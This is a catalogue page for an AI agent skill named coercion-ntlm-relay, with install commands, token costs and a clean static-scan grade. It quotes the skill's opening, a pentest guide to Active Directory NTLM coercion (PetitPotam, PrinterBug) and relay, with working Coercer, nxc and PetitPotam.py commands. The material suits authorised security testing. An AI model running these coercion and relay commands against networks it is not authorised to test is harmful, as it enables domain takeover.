Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ADScanPro/Claude-AD --skill coercion-ntlm-relaygit clone --depth 1 https://github.com/ADScanPro/Claude-ADWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adscanpro/claude-ad/coercion-ntlm-relay)<a href="https://agentmods.dev/skills/adscanpro/claude-ad/coercion-ntlm-relay"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/coercion-ntlm-relay/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/adscanpro/claude-ad/coercion-ntlm-relay"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/coercion-ntlm-relay.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00131 | $0.02102 |
| Opus 5 | $0.00066 | $0.01051 |
| Sonnet 5 | $0.00026 | $0.00420 |
| Haiku 4.5 | $0.00013 | $0.00210 |
Grade A, and why
coercion-ntlm-relay scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 148 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Coercion + NTLM Relay
Two techniques that combine into one of the most reliable domain-compromise chains: force a target (usually a Domain Controller's machine account) to authenticate to a host you control, then relay that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication.
The chain only works when a relay target is unprotected:
- Relay to LDAP/LDAPS requires LDAP signing not enforced and channel binding (EPA) absent.
- Relay to SMB requires SMB signing not enforced on the destination.
- Relay to AD CS web enrollment (ESC8) requires the HTTP enrollment endpoint up without EPA.
Check signing posture first:
nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt # hosts without SMB signing
nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker # LDAP signing / channel binding state
Part 1: Coercion
You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's machine account ($) authentication at you.
PetitPotam: MS-EFSR (Encrypting File System Remote)
MITRE ATT&CK: T1187 (Forced Authentication)
Abuses the EFSRPC interface (EfsRpcOpenFileRaw and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones.
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
-l <YOUR_IP> -t 10.0.0.10 --filter-method-name EfsRpc
Classic standalone tool:
python3 PetitPotam.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10
PrinterBug: MS-RPRN (Print System Remote Protocol)
MITRE ATT&CK: T1187
Abuses RpcRemoteFindFirstPrinterChangeNotificationEx via the Spooler service. Works wherever the Print Spooler is running (still common on DCs).
Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
-l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-RPRN
Standalone:
python3 dementor.py <YOUR_IP> 10.0.0.10 -u user -p 'Password123' -d CORP.LOCAL
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 148 lines · 131 tokens per session scan A 77769fff0db2
coercion-ntlm-relay is a skill published in the GitHub repository ADScanPro/Claude-AD (193 stars, last pushed 17d ago), licensed MIT. It adds 131 tokens to every session and 2,102 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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